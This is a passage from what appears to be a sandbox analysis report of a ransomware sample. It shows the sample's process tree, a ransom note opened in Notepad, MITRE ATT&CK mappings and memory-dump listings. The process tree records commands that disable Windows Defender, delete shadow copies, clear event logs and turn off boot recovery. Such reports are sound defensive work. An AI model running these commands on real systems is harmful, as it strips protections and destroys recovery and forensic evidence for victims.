    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
    3⤵
    PID:696
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:380
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:1912
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:200
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:724
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1844
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:916
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1016
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl system
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3520
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl security
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl application
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:196
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic SHADOWCOPY /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2660
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2100
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    PID:1152
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:3676
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    PID:3812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIOAVProtection $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4032
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1420

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\fwdM_HOW_TO_DECRYPT.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

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Downloads

memory/1420-239-0x000001EA5D853000-0x000001EA5D855000-memory.dmp

Filesize
8KB

Download
memory/1420-237-0x000001EA5D850000-0x000001EA5D852000-memory.dmp

Filesize
8KB

Download
memory/1420-241-0x000001EA5D856000-0x000001EA5D858000-memory.dmp

Filesize
8KB

Download
memory/1420-259-0x000001EA5D858000-0x000001EA5D859000-memory.dmp

Filesize
4KB

Download
memory/4032-191-0x000001F7E4B10000-0x000001F7E4B11000-memory.dmp

Filesize
4KB

Download
memory/4032-235-0x000001F7CA4E8000-0x000001F7CA4E9000-memory.dmp

Filesize
4KB

Download
memory/4032-213-0x000001F7CA4E6000-0x000001F7CA4E8000-memory.dmp

Filesize
8KB

Download
memory/4032-192-0x000001F7CA4E3000-0x000001F7CA4E5000-memory.dmp

Filesize
8KB

Download
memory/4032-190-0x000001F7CA4E0000-0x000001F7CA4E2000-memory.dmp

Filesize
8KB

Download
memory/4032-185-0x000001F7E4960000-0x000001F7E4961000-memory.dmp

Filesize
4KB

Download